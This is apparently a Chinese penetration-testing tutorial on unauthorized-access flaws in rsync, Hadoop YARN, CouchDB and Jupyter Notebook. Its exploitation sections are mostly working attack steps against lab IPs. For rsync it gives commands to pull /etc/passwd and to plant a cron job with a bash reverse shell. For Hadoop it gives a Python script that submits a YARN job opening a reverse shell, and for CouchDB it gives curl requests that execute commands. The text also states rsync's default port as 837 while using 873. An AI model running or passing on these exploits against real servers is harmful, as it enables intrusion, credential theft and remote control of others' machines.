文章目录
- 1. rsync
- 1.1 利用
- 1. 下载文件
- 2. 上传文件
- 3. 上传文件拿shell
- 2. Jupyter Noteboo
- 2.1 利用
- 3. hadoop
- 3.1 利用
- 4. CouchDB
- 4.1 利用
- 参考文章
1. rsync
Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
1.1 利用
1. 下载文件
rsync rsync://192.168.171.139:873/src/etc/passwd ./
2. 上传文件
touch test
rsync -av test rsync://192.168.171.139:873/src/tmp/succ1
3. 上传文件拿shell
需要在root权限下执行下面的操作:
echo "* * * * * root bash -c \"/bin/bash -i >& /dev/tcp/192.168.171.1/9999 0>&1\"" > test
rsync -av test rsync://192.168.171.139:873/src/etc/cron.d
nc -l 9999
2. Jupyter Noteboo
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令
。
2.1 利用
3. hadoop
Hadoop是专为离线和大规模数据分析而设计的,是一个擅长大数据存储与数据分析的java编写的应用。
数据采用HDFS
分片存储再不同的DateNode
上,每个分片最大128mb,Datanode可以理解成一个机器。HDFS组件中还有一个NameNode
,NameNode中记录了所有文件与其文件分片物理位置的对应关系。
用户读取文件的时候会访问hadoop服务器的一个虚拟路径,hadoop的HDFS组件中NameNode程序会根据虚拟路径来确定物理文件的映射,也就是物理文件的分片实际存储位置在哪些DateNode上。确定后再将需要访问的DateNode发送给客户端,客户端会依次访问并下载分片最终组成完整的文件。通过HDFS来实现海量数据存储。
hadoop使用MapReduce
实现分布式计算。可以理解成Map就是任务,reduce就是将不同机器上的map任务执行结果进行汇总,每个机器上都可以分配map任务,这样就实现了分布式计算。
开启8088端口后我们可通过REST API来执行命令:
3.1 利用
#!/usr/local/bin/python3
import requests
target = 'http://192.168.171.139:8088/'
lhost = '192.168.171.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
4. CouchDB
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
4.1 利用
curl -X PUT 'http://192.168.171.139:5984/_config/query_servers/cmd' -d '"touch /tmp/123"'
curl -X PUT 'http://192.168.171.139:5984/vultest'
curl -X PUT 'http://192.168.171.139:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.171.139:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
参考文章
常见未授权访问漏洞总结